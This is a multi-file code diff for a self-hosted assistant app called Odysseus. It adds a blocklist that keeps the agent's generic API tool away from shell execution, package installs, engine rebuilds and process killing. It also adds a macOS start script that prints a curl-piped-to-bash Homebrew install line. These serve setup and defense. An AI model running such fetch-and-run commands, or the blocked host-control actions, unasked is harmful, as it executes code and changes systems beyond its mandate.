_grace_candidates = [(endpoint_url, model, headers)] + resolve_utility_fallback_candidates(owner=task.owner or None)
|
||||
full_text = await llm_call_async_with_fallback(
|
||||
_grace_candidates,
|
||||
messages=[
|
||||
@@ -1674,6 +1679,8 @@ class TaskScheduler:
|
||||
# Resolve endpoint/model: research settings > task settings > session defaults
|
||||
endpoint_url = task.endpoint_url
|
||||
model = task.model
|
||||
headers = {}
|
||||
headers_from_resolver = False
|
||||
|
||||
if not endpoint_url or not model:
|
||||
try:
|
||||
@@ -1683,9 +1690,13 @@ class TaskScheduler:
|
||||
endpoint_url or None,
|
||||
model or None,
|
||||
None,
|
||||
owner=task.owner or None,
|
||||
)
|
||||
endpoint_url = ep_url or endpoint_url
|
||||
model = ep_model or model
|
||||
if ep_headers is not None:
|
||||
headers = ep_headers
|
||||
headers_from_resolver = True
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
@@ -1697,16 +1708,19 @@ class TaskScheduler:
|
||||
self._last_run_model = model
|
||||
|
||||
# Resolve headers
|
||||
headers = {}
|
||||
try:
|
||||
from core.database import ModelEndpoint
|
||||
from src.endpoint_resolver import normalize_base, build_headers
|
||||
from src.auth_helpers import owner_filter
|
||||
db2 = db
|
||||
eps = db2.query(ModelEndpoint).filter(ModelEndpoint.is_enabled == True).all()
|
||||
for ep in eps:
|
||||
if normalize_base(ep.base_url) in endpoint_url or endpoint_url in normalize_base(ep.base_url):
|
||||
headers = build_headers(ep.api_key, normalize_base(ep.base_url))
|
||||
break
|
||||
if not headers_from_resolver:
|
||||
ep_q = db2.query(ModelEndpoint).filter(ModelEndpoint.is_enabled == True)
|
||||
ep_q = owner_filter(ep_q, ModelEndpoint, task.owner or None)
|
||||
eps = ep_q.all()
|
||||
for ep in eps:
|
||||
if normalize_base(ep.base_url) in endpoint_url or endpoint_url in normalize_base(ep.base_url):
|
||||
headers = build_headers(ep.api_key, normalize_base(ep.base_url))
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
@@ -1743,6 +1757,7 @@ class TaskScheduler:
|
||||
endpoint_url=endpoint_url,
|
||||
model=model,
|
||||
owner=task.owner,
|
||||
folder="Tasks",
|
||||
created_at=_utcnow(),
|
||||
updated_at=_utcnow(),
|
||||
)
|
||||
|
||||
+39
-12
@@ -2495,7 +2495,21 @@ async def do_manage_calendar(content: str, owner: Optional[str] = None) -> Dict:
|
||||
# Cookbook routes loopback. The agent's tool calls run in-process but
|
||||
# need to reach admin-gated cookbook routes; we ride the per-process
|
||||
# internal token so require_admin lets us through. See core/middleware.py.
|
||||
_COOKBOOK_BASE = "http://localhost:7000"
|
||||
#
|
||||
# Resolution order:
|
||||
# 1. ODYSSEUS_INTERNAL_BASE — explicit override (e.g. behind a TLS proxy).
|
||||
# 2. APP_PORT — derive http://127.0.0.1:$APP_PORT (matches docker-compose).
|
||||
# 3. Fallback http://127.0.0.1:7000 — preserves legacy default.
|
||||
#
|
||||
# 127.0.0.1 (not "localhost") avoids IPv6/DNS ambiguity for a strictly-local
|
||||
# call. Without this, tools that loop back (app_api, trigger_research,
|
||||
# cookbook state read/write) fail with "All connection attempts failed"
|
||||
# whenever the running uvicorn isn't on 7000 — which is most non-default
|
||||
# deployments and any side-by-side multi-instance setup.
|
||||
_COOKBOOK_BASE = os.environ.get(
|
||||
"ODYSSEUS_INTERNAL_BASE",
|
||||
f"http://127.0.0.1:{os.environ.get('APP_PORT', '7000')}",
|
||||
)
|
||||
|
||||
|
||||
def _internal_headers(owner: Optional[str] = None) -> Dict[str, str]:
|
||||
@@ -2662,7 +2676,7 @@ async def _cookbook_register_task(session_id: str, model: str, host: str,
|
||||
placeholder = (
|
||||
f"Launched via agent — waiting for tmux output…\n"
|
||||
f" session: {session_id}\n"
|
||||
f" target: {target}{cmd.split()[0] if cmd else ''}\n"
|
||||
f" target: {target}{(cmd.split() or [''])[0] if cmd else ''}\n"
|
||||
f" cmd: {cmd[:200]}{'…' if len(cmd) > 200 else ''}"
|
||||
)
|
||||
tasks.append({
|
||||
@@ -2693,26 +2707,32 @@ async def _cookbook_register_task(session_id: str, model: str, host: str,
|
||||
|
||||
|
||||
# Paths the generic `app_api` tool will refuse to call. Auth/token/user
|
||||
# administration is too risky to route through an agent surface even
|
||||
# when the agent is admin-context — accidental "delete account"
|
||||
# style mistakes have permanent blast radius.
|
||||
# administration and host shell execution are too risky to route through an
|
||||
# agent surface even when the agent is admin-context; accidental account or
|
||||
# command mistakes have permanent blast radius.
|
||||
_APP_API_BLOCKLIST_PREFIXES = (
|
||||
"/api/auth", # login/logout/password
|
||||
"/api/users", # user CRUD (bare /api/users list+create+delete must also block)
|
||||
"/api/tokens", # api token mgmt (bare /api/tokens list+create must also block)
|
||||
"/api/admin", # admin one-shots (wipe etc.)
|
||||
"/api/shell", # host shell execution must stay behind named command tooling
|
||||
"/api/backup/restore", # destructive restore
|
||||
)
|
||||
|
||||
# (method, prefix) pairs to refuse specifically. Used for endpoints
|
||||
# where GET is fine but writes are destructive — saw the agent wipe
|
||||
# cookbook_state.json (presets + tasks) by POSTing {"tasks": []} to
|
||||
# /api/cookbook/state, which overwrote the whole file. Use the
|
||||
# dedicated preset/task tools instead.
|
||||
# where GET is fine but writes are destructive or host-control shaped.
|
||||
# Saw the agent wipe cookbook_state.json (presets + tasks) by POSTing
|
||||
# {"tasks": []} to /api/cookbook/state, which overwrote the whole file.
|
||||
# Use dedicated tools or UI flows instead.
|
||||
_APP_API_BLOCKLIST_METHOD_PATH = (
|
||||
("GET", "/api/email/accounts"), # owner-filtered in tool context; use list_email_accounts MCP tool
|
||||
("POST", "/api/cookbook/state"), # whole-file overwrite — agent must use serve_preset/serve_model instead
|
||||
("DELETE", "/api/cookbook/state"),
|
||||
# Host-control routes: package install, engine rebuild, and process
|
||||
# signalling should not be reachable through the generic API bridge.
|
||||
("POST", "/api/cookbook/packages/install"),
|
||||
("POST", "/api/cookbook/rebuild-engine"),
|
||||
("POST", "/api/cookbook/kill-pid"),
|
||||
# Use the named tools (download_model / serve_model) — they handle
|
||||
# host-name resolution, per-host env_prefix, AND register the task
|
||||
# in cookbook state so it shows in the UI + list_downloads. Hitting
|
||||
@@ -2737,7 +2757,7 @@ _APP_API_BLOCKLIST_METHOD_PATH = (
|
||||
|
||||
|
||||
async def do_app_api(content: str, owner: Optional[str] = None) -> Dict:
|
||||
"""Generic loopback to any internal Odysseus API endpoint. Lets the
|
||||
"""Generic loopback to allowed internal Odysseus API endpoints. Lets the
|
||||
agent reach the full UI-button surface (cookbook, email, notes,
|
||||
calendar, skills, sessions, gallery, research, etc.) without us
|
||||
landing a named tool wrapper for every one.
|
||||
@@ -2751,7 +2771,8 @@ async def do_app_api(content: str, owner: Optional[str] = None) -> Dict:
|
||||
|
||||
The `endpoints` action returns the OpenAPI surface (method + path +
|
||||
summary) so the agent can discover what's reachable. A blocklist
|
||||
refuses auth/user/admin paths to keep blast radius bounded.
|
||||
refuses sensitive auth/user/admin/shell paths and method-specific
|
||||
host-control routes to keep blast radius bounded.
|
||||
"""
|
||||
import httpx
|
||||
try:
|
||||
@@ -2811,7 +2832,7 @@ async def do_app_api(content: str, owner: Optional[str] = None) -> Dict:
|
||||
if not path.startswith("/"):
|
||||
path = "/" + path
|
||||
if any(path.startswith(p) for p in _APP_API_BLOCKLIST_PREFIXES):
|
||||
return {"error": f"Path blocked for safety: {path}. Auth/user/admin endpoints are off-limits via app_api.", "exit_code": 1}
|
||||
return {"error": f"Path blocked for safety: {path}. Sensitive endpoints are off-limits via app_api.", "exit_code": 1}
|
||||
|
||||
method = (args.get("method") or "GET").upper()
|
||||
if method not in ("GET", "POST", "PUT", "PATCH", "DELETE"):
|
||||
@@ -2819,6 +2840,12 @@ async def do_app_api(content: str, owner: Optional[str] = None) -> Dict:
|
||||
if any(method == m and path.startswith(p) for m, p in _APP_API_BLOCKLIST_METHOD_PATH):
|
||||
if "/api/email/accounts" in path:
|
||||
return {"error": "Don't use /api/email/accounts via app_api — it is owner-filtered in tool context and may return empty. Use the `list_email_accounts` email tool, then pass `account` to list_emails/read_email.", "exit_code": 1}
|
||||
if "/api/cookbook/packages/install" in path:
|
||||
return {"error": "Don't POST /api/cookbook/packages/install via app_api — package installation is host code execution. Use the dedicated Cookbook dependency UI/flow instead.", "exit_code": 1}
|
||||
if "/api/cookbook/rebuild-engine" in path:
|
||||
return {"error": "Don't POST /api/cookbook/rebuild-engine via app_api — engine rebuild mutates local or remote host state. Use the dedicated Cookbook UI/flow instead.", "exit_code": 1}
|
||||
if "/api/cookbook/kill-pid" in path:
|
||||
return {"error": "Don't POST /api/cookbook/kill-pid via app_api — process signalling is host control. Use the dedicated Cookbook stop/diagnostic flow instead.", "exit_code": 1}
|
||||
if "/api/model/download" in path:
|
||||
return {"error": "Don't POST /api/model/download directly — use the `download_model` tool (it resolves the server name, sets the venv env_prefix, and registers the task so it shows in the UI).", "exit_code": 1}
|
||||
if "/api/model/serve" in path:
|
||||
|
||||
+1
-1
@@ -153,7 +153,7 @@ BUILTIN_TOOL_DESCRIPTIONS: Dict[str, str] = {
|
||||
"serve_preset": "Launch a saved Cookbook serve preset by name. Reuses the exact tmux command + host the user already saved. Use for 'run stable diffusion 3.5', 'serve vllm-qwen', 'start the inpaint model' — preset-name matches the user's UI labels.",
|
||||
"adopt_served_model": "Register an existing tmux model server (one started manually or outside the cookbook flow) into Cookbook tracking AND add it as a chat endpoint. Use when the user (or a previous turn) launched something via ssh+tmux and now wants it visible in the UI, stoppable via stop_served_model, and usable in the model picker.",
|
||||
"list_cookbook_servers": "List the cookbook's configured servers (remote GPU boxes + local) and which is the current default. Use this BEFORE download_model/serve_model when the user didn't name a host — to decide where to run, or to ask the user which server when ambiguous. Downloads/serves default to the cookbook's selected server, NOT localhost.",
|
||||
"app_api": "Generic loopback to ANY Odysseus internal endpoint. Use this when the user wants something the UI can do but there's no named tool for it. Covers calendar, gallery, library/documents, memory, notes, tasks, settings, research, compare, cookbook GPUs/state — every UI button hits some /api/* endpoint and you can hit it too. action='endpoints' with filter=<keyword> lists available endpoints. action='call' takes method+path+body. Hits same routes the UI uses — auth flows free. NOTE: themes are NOT an API endpoint — use the ui_control tool (create_theme / set_theme), not app_api. SESSIONS/CHATS: do NOT use app_api for these — GET /api/sessions returns EMPTY for tool calls (it's owner-filtered and tool calls authenticate as a different identity). EMAIL ACCOUNTS: do NOT use /api/email/accounts via app_api; use list_email_accounts, list_emails, and read_email instead. To list/rename/archive/delete/fork chats use the list_sessions and manage_session tools instead.",
|
||||
"app_api": "Generic loopback to allowed Odysseus internal endpoints. Use this when the user wants something the UI can do but there's no named tool for it. Covers calendar, gallery, library/documents, memory, notes, tasks, settings, research, compare, cookbook GPUs/state — allowed UI buttons hit /api/* endpoints and you can hit them too. Sensitive auth/user/admin/shell paths and host-control Cookbook mutation routes are blocked; do NOT use app_api for shell commands, package installs, engine rebuilds, or PID signalling. Use named command tooling for shell commands. action='endpoints' with filter=<keyword> lists available endpoints. action='call' takes method+path+body. Hits same routes the UI uses — auth flows free. NOTE: themes are NOT an API endpoint — use the ui_control tool (create_theme / set_theme), not app_api. SESSIONS/CHATS: do NOT use app_api for these — GET /api/sessions returns EMPTY for tool calls (it's owner-filtered and tool calls authenticate as a different identity). EMAIL ACCOUNTS: do NOT use /api/email/accounts via app_api; use list_email_accounts, list_emails, and read_email instead. To list/rename/archive/delete/fork chats use the list_sessions and manage_session tools instead.",
|
||||
"edit_image": "Edit an image in the gallery: upscale (increase resolution), remove background (rembg), inpaint (fill selected area), or harmonize (blend edits). Specify image ID and action.",
|
||||
"trigger_research": "Start a deep research job on any topic — appears in the Deep Research sidebar, streams progress, produces a detailed report. Use for 'research X', 'look into Y', 'do deep research on Z', 'investigate'. NOT a scheduled task — it runs now and surfaces in the sidebar.",
|
||||
}
|
||||
|
||||
+1
-1
@@ -950,7 +950,7 @@ FUNCTION_TOOL_SCHEMAS = [
|
||||
"type": "function",
|
||||
"function": {
|
||||
"name": "app_api",
|
||||
"description": "Generic loopback to ANY internal Odysseus endpoint. Use this when there's no named tool for what the user wants. Hits the same routes the UI buttons hit (cookbook, gallery, library/documents, memory, notes, calendar, tasks, settings, themes, research, compare, etc.). action='endpoints' returns the OpenAPI surface (use `filter` to narrow). action='call' (default) takes method+path+body. Auth/user/admin paths are blocked for safety. Do not use for email account discovery; use list_email_accounts instead because /api/email/accounts is owner-filtered in tool context.",
|
||||
"description": "Generic loopback to allowed internal Odysseus endpoints. Use this when there's no named tool for what the user wants. Hits the same routes the UI buttons hit (cookbook, gallery, library/documents, memory, notes, calendar, tasks, settings, themes, research, compare, etc.). action='endpoints' returns the OpenAPI surface (use `filter` to narrow). action='call' (default) takes method+path+body. Sensitive auth/user/admin/shell paths and host-control Cookbook mutation routes are blocked for safety. Do not use for shell commands; use named command tooling instead. Do not use for package installs, engine rebuilds, PID signalling, or email account discovery; use list_email_accounts for email accounts because /api/email/accounts is owner-filtered in tool context.",
|
||||
"parameters": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
|
||||
+89
-68
@@ -20,14 +20,14 @@ cd "$REPO_DIR"
|
||||
# the command line every run — consistent with how app.py reads them via
|
||||
# python-dotenv. Variables already set in the shell take priority over .env.
|
||||
if [ -f .env ]; then
|
||||
while IFS='=' read -r key value; do
|
||||
[[ "$key" =~ ^[[:space:]]*# ]] && continue
|
||||
[[ -z "${key// }" ]] && continue
|
||||
value="${value%%#*}"
|
||||
value="${value#"${value%%[![:space:]]*}"}"
|
||||
value="${value%"${value##*[![:space:]]}"}"
|
||||
[ -n "$key" ] && [ -z "${!key+x}" ] && export "$key=$value"
|
||||
done < .env
|
||||
while IFS='=' read -r key value; do
|
||||
[[ "$key" =~ ^[[:space:]]*# ]] && continue
|
||||
[[ -z "${key// }" ]] && continue
|
||||
value="${value%%#*}"
|
||||
value="${value#"${value%%[![:space:]]*}"}"
|
||||
value="${value%"${value##*[![:space:]]}"}"
|
||||
[ -n "$key" ] && [ -z "${!key+x}" ] && export "$key=$value"
|
||||
done < .env
|
||||
fi
|
||||
|
||||
# Shell overrides (ODYSSEUS_PORT / ODYSSEUS_HOST) take top priority, then .env
|
||||
@@ -36,7 +36,7 @@ PORT="${ODYSSEUS_PORT:-${APP_PORT:-7860}}" # 7860, not 7000 — macOS AirPlay
|
||||
HOST="${ODYSSEUS_HOST:-${APP_BIND:-127.0.0.1}}" # Set APP_BIND=0.0.0.0 in .env for LAN/Tailscale access.
|
||||
PROBE_HOST="$HOST"
|
||||
if [ "$PROBE_HOST" = "0.0.0.0" ] || [ "$PROBE_HOST" = "::" ]; then
|
||||
PROBE_HOST="127.0.0.1"
|
||||
PROBE_HOST="127.0.0.1"
|
||||
fi
|
||||
|
||||
# Friendly message on any failure — re-running is safe (every step is idempotent).
|
||||
@@ -46,20 +46,20 @@ echo "▶ Odysseus quick start for macOS"
|
||||
|
||||
# Fail fast if the port is already taken (e.g. a previous run still running).
|
||||
if (exec 3<>"/dev/tcp/$PROBE_HOST/$PORT") 2>/dev/null; then
|
||||
echo "✗ Port $PORT is already in use on $PROBE_HOST. Stop what's using it, or pick another port:"
|
||||
echo " ODYSSEUS_PORT=7900 ./start-macos.sh"
|
||||
exit 1
|
||||
echo "✗ Port $PORT is already in use on $PROBE_HOST. Stop what's using it, or pick another port:"
|
||||
echo " ODYSSEUS_PORT=7900 ./start-macos.sh"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# 1. Homebrew — the macOS package manager. We can't safely auto-install it
|
||||
# (it wants its own interactive confirmation), so point the user at it.
|
||||
if ! command -v brew >/dev/null 2>&1; then
|
||||
echo
|
||||
echo "Homebrew is required but not installed. Install it (one command), then re-run this script:"
|
||||
echo ' /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"'
|
||||
echo
|
||||
echo "More info: https://brew.sh"
|
||||
exit 1
|
||||
echo
|
||||
echo "Homebrew is required but not installed. Install it (one command), then re-run this script:"
|
||||
echo ' /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"'
|
||||
echo
|
||||
echo "More info: https://brew.sh"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# 2. Find a Python 3.11+ to build the environment with.
|
||||
@@ -72,15 +72,15 @@ fi
|
||||
# (or non-mac) we just use whatever Python 3.11+ is on PATH.
|
||||
PY=""
|
||||
if [ "$(uname -m)" = "arm64" ]; then
|
||||
cands="/opt/homebrew/bin/python3.13 /opt/homebrew/bin/python3.12 /opt/homebrew/bin/python3.11"
|
||||
cands="/opt/homebrew/bin/python3.13 /opt/homebrew/bin/python3.12 /opt/homebrew/bin/python3.11"
|
||||
else
|
||||
cands="python3 python3.13 python3.12 python3.11"
|
||||
cands="python3 python3.13 python3.12 python3.11"
|
||||
fi
|
||||
for cand in $cands; do
|
||||
p="$(command -v "$cand" 2>/dev/null)" || continue
|
||||
if "$p" -c 'import sys; raise SystemExit(0 if sys.version_info[:2] >= (3, 11) else 1)' 2>/dev/null; then
|
||||
PY="$p"; break
|
||||
fi
|
||||
p="$(command -v "$cand" 2>/dev/null)" || continue
|
||||
if "$p" -c 'import sys; raise SystemExit(0 if sys.version_info[:2] >= (3, 11) else 1)' 2>/dev/null; then
|
||||
PY="$p"; break
|
||||
fi
|
||||
done
|
||||
|
||||
# System dependencies (each installed only if missing, so re-runs stay fast and
|
||||
@@ -98,40 +98,41 @@ done
|
||||
# Install a Homebrew formula only if its command isn't already present. A failed
|
||||
# install warns but does not abort — Cookbook can be set up later.
|
||||
brew_ensure() {
|
||||
if command -v "$1" >/dev/null 2>&1; then
|
||||
echo " ✓ $2 already installed"
|
||||
return 0
|
||||
fi
|
||||
echo " installing $2…"
|
||||
if ! brew install "$2"; then
|
||||
echo " ⚠ Couldn't install $2 right now — Cookbook (local model serving) may be limited."
|
||||
echo " You can install it later with: brew install $2"
|
||||
fi
|
||||
if command -v "$1" >/dev/null 2>&1; then
|
||||
echo " ✓ $2 already installed"
|
||||
return 0
|
||||
fi
|
||||
echo " installing $2…"
|
||||
if ! brew install "$2"; then
|
||||
echo " ⚠ Couldn't install $2 right now — Cookbook (local model serving) may be limited."
|
||||
echo " You can install it later with: brew install $2"
|
||||
fi
|
||||
}
|
||||
|
||||
echo "▶ Checking dependencies (Homebrew)…"
|
||||
if [ -n "$PY" ]; then
|
||||
echo " (using $("$PY" --version 2>&1) at $PY)"
|
||||
echo " (using $("$PY" --version 2>&1) at $PY)"
|
||||
else
|
||||
echo " installing python@3.11…"
|
||||
brew install python@3.11 || true
|
||||
PY="$(command -v /opt/homebrew/bin/python3.11 || command -v python3.11 || true)"
|
||||
echo " installing python@3.11…"
|
||||
brew install python@3.11 || true
|
||||
PY="$(command -v /opt/homebrew/bin/python3.11 || command -v python3.11 || true)"
|
||||
fi
|
||||
brew_ensure tmux tmux
|
||||
brew_ensure llama-server llama.cpp
|
||||
brew_ensure apfel apfel
|
||||
|
||||
if [ -z "$PY" ] || [ ! -x "$PY" ]; then
|
||||
echo "✗ Couldn't find a Python 3.11+ to build the environment with."
|
||||
echo " Check: ls /opt/homebrew/bin/python3* (or install one: brew install python@3.11)"
|
||||
exit 1
|
||||
echo "✗ Couldn't find a Python 3.11+ to build the environment with."
|
||||
echo " Check: ls /opt/homebrew/bin/python3* (or install one: brew install python@3.11)"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# 3. Python environment + dependencies (kept inside the repo, in venv/).
|
||||
# Named `venv` to match the manual steps and build-macos-app.sh, so the
|
||||
# clickable .app reuses this same environment.
|
||||
if [ ! -d venv ]; then
|
||||
echo "▶ Creating Python environment…"
|
||||
"$PY" -m venv venv
|
||||
echo "▶ Creating Python environment…"
|
||||
"$PY" -m venv venv
|
||||
fi
|
||||
VENV_PY="./venv/bin/python3"
|
||||
REQ_HASH="$(md5 -q requirements.txt 2>/dev/null || md5sum requirements.txt | cut -d' ' -f1)"
|
||||
@@ -150,9 +151,9 @@ fi
|
||||
# it got installed (e.g., from an older requirements-optional.txt), remove
|
||||
# it to prevent ChromaDB from silently failing in HTTP-only mode.
|
||||
if "$VENV_PY" -m pip show chromadb-client >/dev/null 2>&1; then
|
||||
echo "▶ Cleaning up conflicting chromadb-client package…"
|
||||
"$VENV_PY" -m pip uninstall -y chromadb-client
|
||||
"$VENV_PY" -m pip install --force-reinstall chromadb
|
||||
echo "▶ Cleaning up conflicting chromadb-client package…"
|
||||
"$VENV_PY" -m pip uninstall -y chromadb-client
|
||||
"$VENV_PY" -m pip install --force-reinstall chromadb
|
||||
fi
|
||||
|
||||
# 4. First-run setup: creates data dirs and prints an initial admin password
|
||||
@@ -161,19 +162,39 @@ fi
|
||||
echo "▶ Preparing Odysseus…"
|
||||
ODYSSEUS_SKIP_RUN_HINT=1 ./venv/bin/python setup.py
|
||||
|
||||
# Local provider bootstrap.
|
||||
# On Apple Silicon macOS, Apfel is treated as a sibling local model server
|
||||
# to Ollama: if Homebrew has it installed, we start its OpenAI-compatible
|
||||
# server on the port next to Ollama, since the default port is 11434 and that's busy (because of ollama).
|
||||
MACHINE_ARCH="$(uname -m)"
|
||||
APFEL_PID=""
|
||||
if [ "$MACHINE_ARCH" = "arm64" ]; then
|
||||
if command -v apfel >/dev/null 2>&1; then
|
||||
APFEL_LOG="${TMPDIR:-/tmp}/odysseus-apfel.log"
|
||||
echo "▶ Starting Apfel server in the background on port 11435…"
|
||||
echo " logging to $APFEL_LOG"
|
||||
nohup apfel --serve --port 11435 >"$APFEL_LOG" 2>&1 &
|
||||
APFEL_PID=$!
|
||||
else
|
||||
echo "▶ Apfel is not installed (brew formula missing); skipping Apfel server bootstrap."
|
||||
fi
|
||||
else
|
||||
echo "▶ Non-ARM macOS detected; skipping Apfel server bootstrap."
|
||||
fi
|
||||
|
||||
# 5. Launch. Bind to loopback by default; opt into LAN/Tailscale with
|
||||
# ODYSSEUS_HOST=0.0.0.0.
|
||||
URL_HOST="$HOST"
|
||||
if [ "$URL_HOST" = "0.0.0.0" ] || [ "$URL_HOST" = "::" ]; then
|
||||
URL_HOST="127.0.0.1"
|
||||
URL_HOST="127.0.0.1"
|
||||
fi
|
||||
URL="http://$URL_HOST:$PORT"
|
||||
TAILSCALE_URL=""
|
||||
if [ "$HOST" = "0.0.0.0" ] && command -v tailscale >/dev/null 2>&1; then
|
||||
TS_IP="$(tailscale ip -4 2>/dev/null | head -n 1 || true)"
|
||||
if [ -n "$TS_IP" ]; then
|
||||
TAILSCALE_URL="http://$TS_IP:$PORT"
|
||||
fi
|
||||
TS_IP="$(tailscale ip -4 2>/dev/null | head -n 1 || true)"
|
||||
if [ -n "$TS_IP" ]; then
|
||||
TAILSCALE_URL="http://$TS_IP:$PORT"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Open the browser automatically once the server is accepting connections — so
|
||||
@@ -182,33 +203,33 @@ fi
|
||||
# ODYSSEUS_NO_OPEN=1 (e.g. over SSH / headless).
|
||||
POLLER_PID=""
|
||||
if [ -z "$ODYSSEUS_NO_OPEN" ] && command -v open >/dev/null 2>&1; then
|
||||
(
|
||||
for _ in $(seq 1 90); do
|
||||
if (exec 3<>"/dev/tcp/$PROBE_HOST/$PORT") 2>/dev/null; then
|
||||
printf '\n'
|
||||
printf ' ┌────────────────────────────────────────────┐\n'
|
||||
printf ' │ ✓ Odysseus is ready — opening your browser │\n'
|
||||
printf ' │ %-40s │\n' "$URL"
|
||||
printf ' │ (Press Ctrl+C in this window to stop) │\n'
|
||||
printf ' └────────────────────────────────────────────┘\n\n'
|
||||
open "$URL"
|
||||
break
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
) &
|
||||
POLLER_PID=$!
|
||||
(
|
||||
for _ in $(seq 1 90); do
|
||||
if (exec 3<>"/dev/tcp/$PROBE_HOST/$PORT") 2>/dev/null; then
|
||||
printf '\n'
|
||||
printf ' ┌────────────────────────────────────────────┐\n'
|
||||
printf ' │ ✓ Odysseus is ready — opening your browser │\n'
|
||||
printf ' │ %-40s │\n' "$URL"
|
||||
printf ' │ (Press Ctrl+C in this window to stop) │\n'
|
||||
printf ' └────────────────────────────────────────────┘\n\n'
|
||||
open "$URL"
|
||||
break
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
) &
|
||||
POLLER_PID=$!
|
||||
fi
|
||||
|
||||
# Setup is done — drop the setup-failure handler, and clean up the background
|
||||
# opener when the server exits or the user presses Ctrl+C.
|
||||
trap - ERR
|
||||
trap '[ -n "$POLLER_PID" ] && kill "$POLLER_PID" 2>/dev/null' EXIT INT TERM
|
||||
trap '[ -n "$POLLER_PID" ] && kill "$POLLER_PID" 2>/dev/null; [ -n "$APFEL_PID" ] && kill "$APFEL_PID" 2>/dev/null' EXIT INT TERM
|
||||
|
||||
echo
|
||||
echo "▶ Starting Odysseus — it will open in your browser at $URL"
|
||||
if [ -n "$TAILSCALE_URL" ]; then
|
||||
echo " Tailscale/LAN URL: $TAILSCALE_URL"
|
||||
echo " Tailscale/LAN URL: $TAILSCALE_URL"
|
||||
fi
|
||||
echo " (this takes a few seconds; press Ctrl+C here to stop)"
|
||||
echo
|
||||
|
||||
+3
-1
@@ -2028,7 +2028,7 @@
|
||||
<div class="admin-card">
|
||||
<h2><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="vertical-align:-2px;margin-right:5px;opacity:0.6"><path d="M16 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"/><circle cx="8.5" cy="7" r="4"/><line x1="20" y1="8" x2="20" y2="14"/><line x1="23" y1="11" x2="17" y2="11"/></svg>Add User</h2>
|
||||
<div class="admin-add-form">
|
||||
<input id="adm-newUsername" type="text" placeholder="Username (email)">
|
||||
<input id="adm-newUsername" type="text" placeholder="Username">
|
||||
<input id="adm-newPassword" type="password" placeholder="Password (min 8)">
|
||||
<div class="admin-switch-inline" title="Grant full admin access"><label class="admin-switch"><input type="checkbox" id="adm-newIsAdmin"><span class="admin-slider"></span></label> Admin</div>
|
||||
</div>
|
||||
@@ -2117,6 +2117,8 @@
|
||||
<option value="https://generativelanguage.googleapis.com/v1beta/openai" data-logo="gemini">Google Gemini</option>
|
||||
<option value="https://api.x.ai/v1" data-logo="grok">xAI Grok</option>
|
||||
<option value="https://api.z.ai/api/paas/v4" data-logo="zhipu">Z.AI (Zhipu)</option>
|
||||
<option value="https://opencode.ai/zen/v1" data-logo="opencode">OpenCode Zen</option>
|
||||
<option value="https://opencode.ai/zen/go/v1" data-logo="opencode">OpenCode Go</option>
|
||||
<option value="https://api.z.ai/api/coding/paas/v4" data-logo="zhipu">Z.AI Coding Plan</option>
|
||||
</select>
|
||||
<div class="admin-model-form-row">
|
||||
|
||||
+1
-1
@@ -773,7 +773,7 @@ function initEndpointForm() {
|
||||
}
|
||||
} catch(e) {}
|
||||
// Ensure /v1 suffix for bare host:port URLs (not cloud providers)
|
||||
if (!u.includes('api.') && !u.includes('openrouter') && !u.includes('ollama.com') && !u.endsWith('/v1')) {
|
||||
if (!u.includes('api.') && !u.includes('openrouter') && !u.includes('opencode.ai') && !u.includes('ollama.com') && !u.endsWith('/v1')) {
|
||||
try {
|
||||
const parsed = new URL(u);
|
||||
if (!parsed.pathname || parsed.pathname === '/') {
|
||||
|
||||
@@ -1877,7 +1877,13 @@ export function displayMetrics(messageElement, metrics) {
|
||||
}
|
||||
}, 200);
|
||||
} else {
|
||||
compactBody.innerHTML = '<span style="color:var(--red);">Compaction failed. Try again later.</span>';
|
||||
let detail = 'Compaction failed. Try again later.';
|
||||
try {
|
||||
const err = await res.json();
|
||||
if (err.detail) detail = err.detail;
|
||||
} catch {}
|
||||
compactBody.textContent = detail;
|
||||
compactBody.style.color = 'var(--red)';
|
||||
}
|
||||
} catch (err) {
|
||||
clearInterval(waveInterval);
|
||||
|
||||
+148
-93
@@ -89,8 +89,8 @@ function _setCookbookOpening(on) {
|
||||
].filter(Boolean);
|
||||
if (!on) {
|
||||
_cookbookOpeningSpinners.forEach(({ spinner, wrap, target }) => {
|
||||
try { spinner?.stop?.(); } catch {}
|
||||
try { wrap?.remove?.(); } catch {}
|
||||
try { spinner?.stop?.(); } catch { }
|
||||
try { wrap?.remove?.(); } catch { }
|
||||
target?.classList?.remove('cookbook-opening');
|
||||
});
|
||||
_cookbookOpeningSpinners = [];
|
||||
@@ -162,13 +162,27 @@ function _getPort(hostOrTask) {
|
||||
/** Get platform for a given host (or task object). Returns 'windows', 'termux', 'linux', or '' */
|
||||
export function _getPlatform(hostOrTask) {
|
||||
const isWinBrowser = (window.navigator.userAgent || window.navigator.platform || '').toLowerCase().includes('win');
|
||||
// The browser's OS is NOT the server's OS when the UI is opened remotely —
|
||||
// e.g. a Windows browser driving a Mac/Linux homeserver. Trusting the
|
||||
// user-agent there makes the serve builder emit the Windows python-only
|
||||
// shape (`python -m llama_cpp.server`, no `llama-server ||` fallback), which
|
||||
// then fails on the actual Unix server. The local hardware probe is
|
||||
// authoritative: it reports a backend (metal/cuda/rocm/cpu_*) for any Unix
|
||||
// server and carries platform:"windows" for local Windows (which sets
|
||||
// _envState.platform, short-circuiting below). So only fall back to the
|
||||
// browser hint when we have no server-side signal at all.
|
||||
const localPlatform = () => {
|
||||
if (_envState.platform) return _envState.platform;
|
||||
if (String(_hwfitCache?.system?.backend || '')) return '';
|
||||
return isWinBrowser ? 'windows' : '';
|
||||
};
|
||||
if (!hostOrTask || hostOrTask === 'local') {
|
||||
return _envState.platform || (isWinBrowser ? 'windows' : '');
|
||||
return localPlatform();
|
||||
}
|
||||
if (typeof hostOrTask === 'object') {
|
||||
const h = hostOrTask.remoteHost;
|
||||
